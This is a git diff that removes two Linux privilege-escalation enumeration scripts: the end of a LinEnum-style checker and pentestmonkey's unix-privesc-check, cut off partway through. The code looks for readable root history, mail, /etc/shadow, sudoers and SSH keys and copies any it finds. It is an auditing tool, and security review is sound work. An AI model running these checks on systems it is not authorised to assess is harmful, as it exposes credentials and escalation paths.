2>/dev/null - else - : - fi -fi - -#quick extract of .conf files from /etc - only 1 level -allconf=`find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} \; 2>/dev/null` -if [ "$allconf" ]; then - echo -e "\e[00;31mAll *.conf files in /etc (recursive 1 level):\e[00m\n$allconf" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$allconf" ]; then - mkdir $format/conf-files/ 2>/dev/null - for i in $allconf; do cp --parents $i $format/conf-files/; done 2>/dev/null -else - : -fi - -#extract any user history files that are accessible -usrhist=`ls -la ~/.*_history 2>/dev/null` -if [ "$usrhist" ]; then - echo -e "\e[00;31mCurrent user's history files:\e[00m\n$usrhist" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$usrhist" ]; then - mkdir $format/history_files/ 2>/dev/null - for i in $usrhist; do cp --parents $i $format/history_files/; done 2>/dev/null - else - : -fi - -#can we read roots *_history files - could be passwords stored etc. -roothist=`ls -la /root/.*_history 2>/dev/null` -if [ "$roothist" ]; then - echo -e "\e[00;33m***Root's history files are accessible!\e[00m\n$roothist" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$roothist" ]; then - mkdir $format/history_files/ 2>/dev/null - cp $roothist $format/history_files/ 2>/dev/null -else - : -fi - -#is there any mail accessible -readmail=`ls -la /var/mail 2>/dev/null` -if [ "$readmail" ]; then - echo -e "\e[00;31mAny interesting mail in /var/mail:\e[00m\n$readmail" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#can we read roots mail -readmailroot=`head /var/mail/root 2>/dev/null` -if [ "$readmailroot" ]; then - echo -e "\e[00;33m***We can read /var/mail/root! (snippet below)\e[00m\n$readmailroot" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$readmailroot" ]; then - mkdir $format/mail-from-root/ 2>/dev/null - cp $readmailroot $format/mail-from-root/ 2>/dev/null -else - : -fi - -#specific checks - check to see if we're in a docker container -dockercontainer=`cat /proc/self/cgroup 2>/dev/null | grep -i docker 2>/dev/null; find / -name "*dockerenv*" -exec ls -la {} \; 2>/dev/null` -if [ "$dockercontainer" ]; then - echo -e "\e[00;33mLooks like we're in a Docker container:\e[00m\n$dockercontainer" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#specific checks - check to see if we're a docker host -dockerhost=`docker --version 2>/dev/null; docker ps -a 2>/dev/null` -if [ "$dockerhost" ]; then - echo -e "\e[00;33mLooks like we're hosting Docker:\e[00m\n$dockerhost" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#specific checks - are we a member of the docker group -dockergrp=`id | grep -i docker 2>/dev/null` -if [ "$dockergrp" ]; then - echo -e "\e[00;33mWe're a member of the (docker) group - could possibly misuse these rights!:\e[00m\n$dockergrp" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#specific checks - are there any docker files present -dockerfiles=`find / -name Dockerfile -exec ls -l {} 2>/dev/null \;` -if [ "$dockerfiles" ]; then - echo -e "\e[00;31mAnything juicy in the Dockerfile?:\e[00m\n$dockerfiles" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#specific checks - are there any docker files present -dockeryml=`find / -name docker-compose.yml -exec ls -l {} 2>/dev/null \;` -if [ "$dockeryml" ]; then - echo -e "\e[00;31mAnything juicy in docker-compose.yml?:\e[00m\n$dockeryml" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -echo -e "\e[00;33m### SCAN COMPLETE ####################################\e[00m" |tee -a $report 2>/dev/null - -#EndOfScript \ No newline at end of file diff --git a/__not_mine/linuxprivchecker.sh b/__not_mine/linuxprivchecker.sh deleted file mode 100644 index 6376e61..0000000 --- a/__not_mine/linuxprivchecker.sh +++ /dev/null @@ -1,1086 +0,0 @@ -#!/bin/sh -# unix-privesc-check - Checks Unix system for simple privilege escalations -# Copyright (C) 2008 pentestmonkey@pentestmonkey.net -# -# -# License -# ------- -# This tool may be used for legal purposes only. Users take full responsibility -# for any actions performed using this tool. The author accepts no liability -# for damage caused by this tool. If you do not accept these condition then -# you are prohibited from using this tool. -# -# In all other respects the GPL version 2 applies: -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License version 2 as -# published by the Free Software Foundation. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program; if not, write to the Free Software Foundation, Inc., -# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -# -# You are encouraged to send comments, improvements or suggestions to -# me at pentestmonkey@pentestmonkey.net -# -# -# Description -# ----------- -# Auditing tool to check for weak file permissions and other problems that -# may allow local attackers to escalate privileges. -# -# It is intended to be run by security auditors and pentetration testers -# against systems they have been engaged to assess, and also by system -# admnisitrators who want to check for "obvious" misconfigurations. It -# can even be run as a cron job so you can check regularly for misconfigurations -# that might be introduced. -# -# Ensure that you have the appropriate legal permission before running it -# someone else's system. -# -# TODO List -# --------- -# There's still plenty that this script doesn't do... -# - Doesn't work for shell scripts! These appear as "/bin/sh my.sh" in the process listing. -# This script only checks the perms of /bin/sh. Not what we're after. :-( -# - Similarly for perl scripts. Probably python, etc. too. -# - Check /proc/pid/cmdline for absolute path names. Check security of these (e.g. /etc/snmp/snmpd.conf) -# - Check everything in root's path - how to find root's path? -# - /proc/pid/maps, smaps are readable and lists some shared objects. We should check these. -# - /proc/pid/fd contain symlinks to all open files (but you can't see other people FDs) -# - check for trust relationships in /etc/hosts.equiv -# - NFS imports / exports / automounter -# - Insecure stuff in /etc/fstab (e.g. allowing users to mount file systems) -# - Inspecting people's PATH. tricky. maybe read from /proc/pid/environ, .bashrc, /etc/profile, .bash_profile -# - Check if /etc/init.d/* scripts are readable. Advise user to audit them if they are. -# - .exrc? -# - X11 trusts, apache passwd files, mysql trusts? -# - Daemons configured in an insecure way: tftpd, sadmind, rexd -# - World writable dirs aren't as bad if the sticky bit is set. Check for this before reporting vulns. -# - Maybe do a strings of binaries (and their .so's?) -# - Do a better job of parsing cron lines - search for full paths -# - Maybe LDPATHs from /etc/env.d -# - Check if ldd, ld.so.conf changes have broken this script on non-linux systems. -# - Avoid check certain paths e.g. /-/_ clearly isn't a real directory. -# - create some sort of readable report -# - indicate when it's likely a result is a false positive and when it's not. -# - Skip pseudo processes e.g. [usb-storage] -# - File permission on kernel modules -# - Replace calls to echo with a my_echo func. Should be passed a string and an "importance" value: -# - my_echo 1 "This is important and should always be printed out" -# - my_echo 2 "This is less important and should only be printed in verbose mode" -# - We check some files / dirs multiple times. Slow. Can we implement a cache? -# - grep for PRIVATE KEY to find private ssh and ssl keys. Where to grep? -# - check SGID programs - -VERSION="1.4" -HOME_DIR_FILES=".netrc .ssh/id_rsa .ssh/id_dsa .rhosts .shosts .my.cnf .ssh/authorized_keys .bash_history .sh_history .forward" -CONFIG_FILES="/etc/passwd /etc/group /etc/master.passwd /etc/inittab /etc/inetd.conf /etc/xinetd.con /etc/xinetd.d/* /etc/contab /etc/fstab /etc/profile /etc/sudoers" -PGDIRS="/usr/local/pgsql/data ~postgres/postgresql/data ~postgres/data ~pgsql/data ~pgsql/pgsql/data /var/lib/postgresql/data /etc/postgresql/8.2/main /var/lib/pgsql/data" - -get_owner () { - GET_OWNER_FILE=$1 - GET_OWNER_RETURN=`ls -lLd "$GET_OWNER_FILE" | awk '{print $3}'` -} - -get_group () { - GET_GROUP_FILE=$1 - GET_GROUP_RETURN=`ls -lLd "$GET_GROUP_FILE" | awk '{print $4}'` -} - -usage () { - echo "unix-privesc-check v$VERSION ( http://pentestmonkey.net/tools/unix-privesc-check )" - echo - echo "Usage: unix-privesc-check { standard | detailed }" - echo - echo '"standard" mode: Speed-optimised check of lots of security settings.' - echo - echo '"detailed" mode: Same as standard mode, but also checks perms of open file' - echo ' handles and called files (e.g. parsed from shell scripts,' - echo ' linked .so files). This mode is slow and prone to false ' - echo ' positives but might help you find more subtle flaws in 3rd' - echo ' party programs.' - echo - echo "This script checks file permissions and other settings that could allow" - echo "local users to escalate privileges." - echo - echo "Use of this script is only permitted on systems which you have been granted" - echo "legal permission to perform a security assessment of. Apart from this " - echo "condition the GPL v2 applies." - echo - echo "Search the output for the word 'WARNING'. If you don't see it then this" - echo "script didn't find any problems." - echo -} - -banner () { - echo "Starting unix-privesc-check v$VERSION ( http://pentestmonkey.net/tools/unix-privesc-check )" - echo - echo "This script checks file permissions and other settings that could allow" - echo "local users to escalate privileges." - echo - echo "Use of this script is only permitted on systems which you have been granted" - echo "legal permission to perform a security assessment of. Apart from this " - echo "condition the GPL v2 applies." - echo - echo "Search the output below for the word 'WARNING'. If you don't see it then" - echo "this script didn't find any problems." - echo -} - -MODE=$1 - -if [ ! "$MODE" = "standard" ] && [ ! "$MODE" = "detailed" ]; then - usage - exit 0 -fi - -# Parse any full paths from $1 (config files, progs, dirs). -# Check the permissions on each of these. -check_called_programs () { - CCP_MESSAGE_STACK=$1 - CCP_FILE=$2 - CCP_USER=$3 - CCP_PATH=$4 # optional - - # Check the perms of the supplied file regardless - # The caller doesn't want to have to call check_perms as well as check_called_programs - check_perms "$CCP_MESSAGE_STACK" "$CCP_FILE" "$CCP_USER" "$CCP_PATH" - - # Skip the slow check if we're in quick mode - if [ "$MODE" = "standard" ]; then - return 0; - fi - - # Check if file is text or not - IS_TEXT=`file "$CCP_FILE" | grep -i text` - IS_DYNBIN=`file "$CCP_FILE" | grep -i 'dynamically linked'` - - # Process shell scripts (would also work on config files that reference other files) - if [ ! -z "$IS_TEXT" ]; then - # Parse full paths from file - ignoring commented lines - CALLED_FILES=`grep -v '^#' "$CCP_FILE" | sed -e 's/^[^\/]*//' -e 's/["'\'':}$]/\x0a/g' | grep '/' | sed -e 's/[ \*].*//' | grep '^/[a-zA-Z0-9_/-]*$' | sort -u` - for CALLED_FILE in $CALLED_FILES; do - # echo "$CCP_FILE contains a reference to $CALLED_FILE. Checking perms." - check_perms "$CCP_MESSAGE_STACK $CCP_FILE contains the string $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" - done - else - # Process dynamically linked binaries - if [ ! -z "$IS_DYNBIN" ]; then - - CALLED_FILES=`ldd "$CCP_FILE" 2>/dev/null | grep '/' | sed 's/[^\/]*\//\//' | cut -f 1 -d ' '` - for CALLED_FILE in $CALLED_FILES; do - check_perms "$CCP_MESSAGE_STACK $CCP_FILE uses the library $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" - done - - # Strings binary to look for hard-coded config files - # or other programs that might be called. - for CALLED_FILE in `strings "$CCP_FILE" | sed -e 's/^[^\/]*//' -e 's/["'\'':}$]/\x0a/g' | grep '/' | sed -e 's/[ \*].*//' | grep '^/[a-zA-Z0-9_/-]*$' | sort -u`; do - check_perms "$CCP_MESSAGE_STACK $CCP_FILE contains the string $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" - done - fi - fi -} - -# Parse any full paths from $1 (config files, progs, dirs). -# Check the permissions on each of these. -check_called_programs_suid () { - CCP_FILE=$1 - CCP_PATH=$2 # optional - - get_owner $CCP_FILE; CCP_USER=$GET_OWNER_RETURN - CCP_MESSAGE_STACK="$CCP_FILE is SUID $CCP_USER." - LS=`ls -l $CCP_FILE` - echo "Checking SUID-$CCP_USER program $CCP_FILE: $LS" - - # Don't check perms of executable itself - # check_perms "$CCP_MESSAGE_STACK" "$CCP_FILE" "$CCP_USER" "$CCP_PATH" - - # Check if file is text or not - IS_TEXT=`file "$CCP_FILE" | grep -i text` - IS_DYNBIN=`file "$CCP_FILE" | grep -i 'dynamically linked'` - - # Process shell scripts (would also work on config files that reference other files) - if [ ! -z "$IS_TEXT" ]; then - # Skip the slow check if we're in quick mode - if [ "$MODE" = "standard" ]; then - return 0; - fi - - # Parse full paths from file - ignoring commented lines - CALLED_FILES=`grep -v '^#' "$CCP_FILE" | sed -e 's/^[^\/]*//' -e 's/["'\'':}$]/\x0a/g' | grep '/' | sed -e 's/[ \*].*//' | grep '^/[a-zA-Z0-9_/-]*$' | sort -u` - for CALLED_FILE in $CALLED_FILES; do - # echo "$CCP_FILE contains a reference to $CALLED_FILE. Checking perms." - check_perms "$CCP_MESSAGE_STACK $CCP_FILE contains the string $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" - done - else - # Process dynamically linked binaries - if [ ! -z "$IS_DYNBIN" ]; then - - CALLED_FILES=`ldd "$CCP_FILE" 2>/dev/null | grep '/' | sed 's/[^\/]*\//\//' | cut -f 1 -d ' '` - for CALLED_FILE in $CALLED_FILES; do - check_perms "$CCP_MESSAGE_STACK $CCP_FILE uses the library $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" - done - - # Skip the slow check if we're in quick mode - if [ "$MODE" = "standard" ]; then - return 0; - fi - - # Strings binary to look for hard-coded config files - # or other programs that might be called. - for CALLED_FILE in `strings "$CCP_FILE" | sed -e 's/^[^\/]*//' -e 's/["'\'':}$]/\x0a/g' | grep '/' | sed -e 's/[ \*].*//' | grep '^/[a-zA-Z0-9_/-]*$' | sort -u`; do - check_perms "$CCP_MESSAGE_STACK $CCP_FILE contains the string $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" - done - fi - fi -} - -# Check if $1 can be changed by users who are not $2 -check_perms () { - CP_MESSAGE_STACK=$1 - CHECK_PERMS_FILE=$2 - CHECK_PERMS_USER=$3 - CHECK_PERMS_PATH=$4 # optional - - if [ ! -f "$CHECK_PERMS_FILE" ] && [ ! -d "$CHECK_PERMS_FILE" ] && [ ! -b "$CHECK_PERMS_FILE" ]; then - CHECK_PERMS_FOUND=0 - if [ ! -z "$CHECK_PERMS_PATH" ]; then - # Look for it in the supplied path - for DIR in `echo "$CHECK_PERMS_PATH" | sed 's/:/ /g'`; do - if [ -f "$DIR/$CHECK_PERMS_FILE" ]; then - CHECK_PERMS_FOUND=1 - CHECK_PERMS_FILE="$DIR/$CHECK_PERMS_FILE" - break - fi - done - fi - - #if [ "$CHECK_PERMS_FOUND" = "0" ]; then - # echo "ERROR: File $CHECK_PERMS_FILE doesn't exist. Checking parent path anyway." - # # return 0 - # fi - fi - - C=`echo "$CHECK_PERMS_FILE" | cut -c 1` - if [ ! "$C" = "/" ]; then - echo "ERROR: Can't find absolute path for $CHECK_PERMS_FILE. Skipping." - return 0 - fi - - echo " Checking if anyone except $CHECK_PERMS_USER can change $CHECK_PERMS_FILE" - - while [ -n "$CHECK_PERMS_FILE" ]; do - perms_secure "$CP_MESSAGE_STACK" $CHECK_PERMS_FILE $CHECK_PERMS_USER - CHECK_PERMS_FILE=`echo $CHECK_PERMS_FILE | sed 's/\/[^\/]*$//'` - done -} - -# Check if $1 can be read by users who are not $2 -check_read_perms () { - CP_MESSAGE_STACK=$1 - CHECK_PERMS_FILE=$2 - CHECK_PERMS_USER=$3 - - if [ ! -f "$CHECK_PERMS_FILE" ] && [ ! -b "$CHECK_PERMS_FILE" ]; then - echo "ERROR: File $CHECK_PERMS_FILE doesn't exist" - return 0 - fi - - echo " Checking if anyone except $CHECK_PERMS_USER can read file $CHECK_PERMS_FILE" - - perms_secure_read "$CP_MESSAGE_STACK" "$CHECK_PERMS_FILE" "$CHECK_PERMS_USER" -} - -perms_secure_read () { - PS_MESSAGE_STACK=$1 - PERMS_SECURE_FILE=$2 - PERMS_SECURE_USER=$3 - - if [ ! -b "$PERMS_SECURE_FILE" ] && [ ! -f "$PERMS_SECURE_FILE" ] && [ ! -d "$PERMS_SECURE_FILE" ]; then - echo "ERROR: No such file or directory: $PERMS_SECURE_FILE. Skipping." - return 0 - fi - - # Check if owner is different (but ignore root ownership, that's OK) - only_user_can_read "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE $PERMS_SECURE_USER - - # Check group read perm (but ignore root group, that's OK) - group_can_read "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE $PERMS_SECURE_USER - - # Check world read perm - world_can_read "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE -} - -perms_secure () { - PS_MESSAGE_STACK=$1 - PERMS_SECURE_FILE=$2 - PERMS_SECURE_USER=$3 - - if [ ! -d "$PERMS_SECURE_FILE" ] && [ ! -f "$PERMS_SECURE_FILE" ] && [ ! -b "$PERMS_SECURE_FILE" ]; then - # echo "ERROR: No such file or directory: $PERMS_SECURE_FILE. Skipping." - return 0 - fi - - # Check if owner is different (but ignore root ownership, that's OK) - only_user_can_write "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE $PERMS_SECURE_USER - - # Check group write perm (but ignore root group, that's OK) - group_can_write "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE $PERMS_SECURE_USER - - # Check world write perm - world_can_write "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE -} - -only_user_can_write () { - O_MESSAGE_STACK=$1 - O_FILE=$2 - O_USER=$3 - - # We just need to check the owner really as the owner - # can always grant themselves write access - get_owner $O_FILE; O_FILE_USER=$GET_OWNER_RETURN - if [ ! "$O_USER" = "$O_FILE_USER" ] && [ ! "$O_FILE_USER" = "root" ]; then - echo "WARNING: $O_MESSAGE_STACK The user $O_FILE_USER can write to $O_FILE" - fi -} - -group_can_write () { - O_MESSAGE_STACK=$1 - O_FILE=$2 - O_USER=$3 # ignore group write access $3 is only member of group - - get_group $O_FILE; O_FILE_GROUP=$GET_GROUP_RETURN - P=`ls -lLd $O_FILE | cut -c 6` - if [ "$P" = "w" ] && [ ! "$O_GROUP" = "root" ]; then - # check the group actually has some members other than $O_USER - group_has_other_members "$O_FILE_GROUP" "$O_USER"; # sets OTHER_MEMBERS to 1 or 0 - if [ "$OTHER_MEMBERS" = "1" ]; then - echo "WARNING: $O_MESSAGE_STACK The group $O_FILE_GROUP can write to $O_FILE" - fi - fi -} - -group_has_other_members () { - G_GROUP=$1 - G_USER=$2 - - # If LDAP/NIS is being used this script can't check group memberships - # we therefore assume the worst. - if [ "$EXT_AUTH" = 1 ]; then - OTHER_MEMBERS=1 - return 1 - fi - - GROUP_LINE=`grep "^$G_GROUP:" /etc/group` - MEMBERS=`echo "$GROUP_LINE" | cut -f 4 -d : | sed 's/,/ /g'` - - GID=`echo "$GROUP_LINE" | cut -f 3 -d :` - EXTRA_MEMBERS=`grep "^[^:]*:[^:]*:[0-9]*:$GID:" /etc/passwd | cut -f 1 -d : | xargs echo` - - for M in $MEMBERS; do - if [ ! "$M" = "$G_USER" ] && [ ! "$M" = "root" ]; then - OTHER_MEMBERS=1 - return 1 - fi - done - - for M in $EXTRA_MEMBERS; do - if [ ! "$M" = "$G_USER" ] && [ ! "$M" = "root" ]; then - OTHER_MEMBERS=1 - return 1 - fi - done - - OTHER_MEMBERS=0 - return 0 -} - -world_can_write () { - O_MESSAGE_STACK=$1 - O_FILE=$2 - - P=`ls -lLd $O_FILE | cut -c 9` - S=`ls -lLd $O_FILE | cut -c 10` - - if [ "$P" = "w" ]; then - if [ "$S" = "t" ]; then - echo "WARNING: $O_MESSAGE_STACK World write is set for $O_FILE (but sticky bit set)" - else - echo "WARNING: $O_MESSAGE_STACK World write is set for $O_FILE" - fi - fi -} - -only_user_can_read () { - O_MESSAGE_STACK=$1 - O_FILE=$2 - O_USER=$3 - - # We just need to check the owner really as the owner - # can always grant themselves read access - get_owner $O_FILE; O_FILE_USER=$GET_OWNER_RETURN - if [ ! "$O_USER" = "$O_FILE_USER" ] && [ ! "$O_FILE_USER" = "root" ]; then - echo "WARNING: $O_MESSAGE_STACK The user $O_FILE_USER can read $O_FILE" - fi -} - -group_can_read () { - O_MESSAGE_STACK=$1 - O_FILE=$2 - O_USER=$3 - - get_group $O_FILE; O_FILE_GROUP=$GET_GROUP_RETURN - P=`ls -lLd $O_FILE | cut -c 5` - if [ "$P" = "r" ] && [ ! "$O_GROUP" = "root" ]; then - # check the group actually has some members other than $O_USER - group_has_other_members "$O_FILE_GROUP" "$O_USER"; # sets OTHER_MEMBERS to 1 or 0 - if [ "$OTHER_MEMBERS" = "1" ]; then - echo "WARNING: $O_MESSAGE_STACK The group $O_FILE_GROUP can read $O_FILE" - fi - fi -} - -world_can_read () { - O_MESSAGE_STACK=$1 - O_FILE=$2 - - P=`ls -lLd $O_FILE | cut -c 8` - - if [ "$P" = "w" ]; then - echo "WARNING: $O_MESSAGE_STACK World read is set for $O_FILE" - fi -} - -section () { - echo - echo '############################################' - echo $1 - echo '############################################' -} - -# Guess OS -if [ -x /usr/bin/showrev ]; then - OS="solaris" - SHADOW="/etc/shadow" -elif [ -x /usr/sbin/sam -o -x /usr/bin/sam ]; then - OS="hpux" - SHADOW="/etc/shadow" -elif [ -f /etc/master.passwd ]; then - OS="bsd" - SHADOW="/etc/master.passwd" -else - OS="linux" - SHADOW="/etc/shadow" -fi -echo "Assuming the OS is: $OS" -CONFIG_FILES="$CONFIG_FILES $SHADOW" - -# Set path so we can access usual directories. HPUX and some linuxes don't have sbin in the path. -PATH=$PATH:/usr/bin:/bin:/sbin:/usr/sbin; export PATH - -# Check dependent programs are installed -# Assume "which" is installed! -PROGS="ls awk grep cat mount xargs file ldd strings" -for PROG in $PROGS; do - which $PROG 2>&1 > /dev/null - if [ ! $? = "0" ]; then - echo "ERROR: Dependend program '$PROG' is mising. Can't run. Sorry!" - exit 1 - fi -done - -banner - -section "Recording hostname" -hostname - -section "Recording uname" -uname -a - -section "Recording Interface IP addresses" -if [ $OS = 'hpux' ]; then - for IFACE in `lanscan | grep x | awk '{print $5}' 2>/dev/null`; do - ifconfig $IFACE 2>/dev/null - done -else - ifconfig -a -fi - -section "Checking if external authentication is allowed in /etc/passwd" -FLAG=`grep '^+:' /etc/passwd` -if [ -n "$FLAG" ]; then - echo "WARNING: /etc/passwd allows external authentcation:" - grep '^+:' /etc/passwd - EXT_AUTH=1 -else - echo "No +:... line found in /etc/passwd" -fi - -section "Checking nsswitch.conf for addition authentication methods" -if [ -r "/etc/nsswitch.conf" ]; then - NIS=`grep '^passwd' /etc/nsswitch.conf | grep 'nis'` - if [ -n "$NIS" ]; then - echo "WARNING: NIS is used for authentication on this system" - EXT_AUTH=1 - fi - LDAP=`grep '^passwd' /etc/nsswitch.conf | grep 'ldap'` - if [ -n "$LDAP" ]; then - echo "WARNING: LDAP is used for authentication on this system" - EXT_AUTH=1 - fi - - if [ -z "$NIS" ] && [ -z "$LDAP" ]; then - echo "Neither LDAP nor NIS are used for authentication" - fi -else - echo "ERROR: File /etc/nsswitch.conf isn't readable. Skipping checks." -fi - -# Check important config files aren't writable -section "Checking for writable config files" -for FILE in $CONFIG_FILES; do - if [ -f "$FILE" ]; then - check_perms "$FILE is a critical config file." "$FILE" root - fi -done - -section "Checking if $SHADOW is readable" -check_read_perms "/etc/shadow holds authentication data" $SHADOW root - -section "Checking for password hashes in /etc/passwd" -FLAG=`grep -v '^[^:]*:[x\*]*:' /etc/passwd | grep -v '^#'` -if [ -n "$FLAG" ]; then - echo "WARNING: There seem to be some password hashes in /etc/passwd" - grep -v '^[^:]*:[x\*]*:' /etc/passwd | grep -v '^#' - EXT_AUTH=1 -else - echo "No password hashes found in /etc/passwd" -fi - -section "Checking account settings" -# Check for something nasty like r00t::0:0::/:/bin/sh in /etc/passwd -# We only need read access to /etc/passwd to be able to check this. -if [ -r "/etc/passwd" ]; then - OPEN=`grep "^[^:][^:]*::" /etc/passwd | cut -f 1 -d ":"` - if [ -n "$OPEN" ]; then - echo "WARNING: The following accounts have no password:" - grep "^[^:][^:]*::" /etc/passwd | cut -f 1 -d ":" - fi -fi -if [ -r "$SHADOW" ]; then - echo "Checking for accounts with no passwords" - if [ "$OS" = "linux" ]; then - passwd -S -a | while read LINE - do - USER=`echo "$LINE" | awk '{print $1}'` - STATUS=`echo "$LINE" | awk '{print $2}'` - if [ "$STATUS" = "NP" ]; then - echo "WARNING: User $USER doesn't have a password" - fi - done - elif [ "$OS" = "solaris" ]; then - passwd -s -a | while read LINE - do - USER=`echo "$LINE" | awk '{print $1}'` - STATUS=`echo "$LINE" | awk '{print $2}'` - if [ "$STATUS" = "NP" ]; then - echo "WARNING: User $USER doesn't have a password" - fi - done - fi -else - echo "File $SHADOW isn't readable. Skipping some checks." -fi - -section "Checking library directories from /etc/ld.so.conf" -if [ -f "/etc/ld.so.conf" ] && [ -r "/etc/ld.so.conf" ]; then - for DIR in `grep '^/' /etc/ld.so.conf`; do - check_perms "$DIR is in /etc/ld.so.conf." $DIR root - done - - #FILES=`grep '^include' /etc/ld.so.conf | sed 's/^include *//'` - #if [ ! -z "$FILES" ]; then - # for DIR in `echo $FILES | xargs cat | sort -u`; do - # done - #fi -else - echo "File /etc/ld.so.conf not present. Skipping checks." -fi - -# Check sudoers if we have permission - needs root normally -section "Checking sudo configuration" -if [ -f "/etc/sudoers" ] && [ -r "/etc/sudoers" ]; then - echo ----------------- - echo "Checking if sudo is configured" - SUDO_USERS=`grep -v '^#' /etc/sudoers | grep -v '^[ \t]*$' | grep -v '^[ \t]*Default' | grep =` - if [ ! -z "$SUDO_USERS" ]; then - echo "WARNING: Sudo is configured. Manually check nothing unsafe is allowed:" - grep -v '^#' /etc/sudoers | grep -v '^[ \t]*$' | grep = | grep -v '^[ \t]*Default' - fi - - echo ----------------- - echo "Checking sudo users need a password" - SUDO_NOPASSWD=`grep -v '^#' /etc/sudoers | grep -v '^[ \t]*$' | grep NOPASSWD` - if [ ! -z "$SUDO_NOPASSWD" ]; then - echo "WARNING: Some users can use sudo without a password:" - grep -v '^#' /etc/sudoers | grep -v '^[ \t]*$' | grep NOPASSWD - fi -else - echo "File /etc/sudoers not present. Skipping checks." -fi - -section "Checking permissions on swap file(s)" -for SWAP in `swapon -s | grep -v '^Filename' | cut -f 1 -d ' '`; do - check_perms "$SWAP is used for swap space." $SWAP root - check_read_perms "$SWAP is used for swap space." $SWAP root -done - -section "Checking programs run from inittab" -if [ -f "/etc/inittab" ] && [ -r "/etc/inittab" ]; then - for FILE in `cat /etc/inittab | grep : | grep -v '^#' | cut -f 4 -d : | grep '/' | cut -f 1 -d ' ' | sort -u`; do - check_called_programs "$FILE is run from /etc/inittab as root." $FILE root - done -else - echo "File /etc/inittab not present. Skipping checks." -fi - -section "Checking postgres trust relationships" -for DIR in $PGDIRS; do - if [ -d "$DIR" ] && [ -r "$DIR/pg_hba.conf" ]; then - grep -v '^#' "$DIR/pg_hba.conf" | grep -v '^[ \t]*$' | while read LINE - do - AUTH=`echo "$LINE" | awk '{print $NF}'` - if [ "$AUTH" = "trust" ]; then - PGTRUST=1 - echo "WARNING: Postgres trust configured in $DIR/pg_hba.conf: $LINE" - fi - done - fi -done - -PGVER1=`psql -U postgres template1 -c 'select version()' 2>/dev/null | grep version` - -if [ -n "$PGVER1" ]; then - PGTRUST=1 - echo "WARNING: Can connect to local postgres database as \"postgres\" without a password" -fi - -PGVER2=`psql -U pgsql template1 -c 'select version()' 2>/dev/null | grep version` - -if [ -n "$PGVER2" ]; then - PGTRUST=1 - echo "WARNING: Can connect to local postgres database as \"pgsql\" without a password" -fi - -if [ -z "$PGTRUST" ]; then - echo "No postgres trusts detected" -fi - -# Check device files for mounted file systems are secure -# cat /proc/mounts | while read LINE # Doesn't work so well when LVM is used - need to be root -section "Checking permissions on device files for mounted partitions" -if [ "$OS" = "linux" ]; then - mount | while read LINE - do - DEVICE=`echo "$LINE" | awk '{print $1}'` - FS=`echo "$LINE" | awk '{print $5}'` - if [ "$FS" = "ext2" ] || [ "$FS" = "ext3" ] ||[ "$FS" = "reiserfs" ]; then - echo "Checking device $DEVICE" - check_perms "$DEVICE is a mounted file system." $DEVICE root - fi - done -elif [ "$OS" = "bsd" ]; then - mount | grep ufs | while read LINE - do - DEVICE=`echo "$LINE" | awk '{print $1}'` - echo "Checking device $DEVICE" - check_perms "$DEVICE is a mounted file system." $DEVICE root - done -elif [ "$OS" = "solaris" ]; then - mount | grep xattr | while read LINE - do - DEVICE=`echo "$LINE" | awk '{print $3}'` - if [ ! "$DEVICE" = "swap" ]; then - echo "Checking device $DEVICE" - check_perms "$DEVICE is a mounted file system." $DEVICE root - fi - done -elif [ "$OS" = "hpux" ]; then - mount | while read LINE - do - DEVICE=`echo "$LINE" | awk '{print $3}'` - C=`echo $DEVICE | cut -c 1` - if [ "$C" = "/" ]; then - echo "Checking device $DEVICE" - check_perms "$DEVICE is a mounted file system." $DEVICE root - fi - done - - NFS=`mount | grep NFS` - if [ -n "$NFS" ]; then - echo "WARNING: This system is an NFS client. Check for nosuid and nodev options." - mount | grep NFS - fi -fi - -# Check cron jobs if they're readable -# TODO check that cron is actually running -section "Checking cron job programs aren't writable (/etc/crontab)" -CRONDIRS="" -if [ -f "/etc/crontab" ] && [ -r "/etc/crontab" ]; then - MYPATH=`grep '^PATH=' /etc/crontab | cut -f 2 -d = ` - echo Crontab path is $MYPATH - - # Check if /etc/cron.(hourly|daily|weekly|monthly) are being used - CRONDIRS=`grep -v '^#' /etc/crontab | grep -v '^[ \t]*$' | grep '[ \t][^ \t][^ \t]*[ \t][ \t]*' | grep run-crons` - - # Process run-parts - grep -v '^#' /etc/crontab | grep -v '^[ \t]*$' | grep '[ \t][^ \t][^ \t]*[ \t][ \t]*' | grep run-parts | while read LINE - do - echo "Processing crontab run-parts entry: $LINE" - 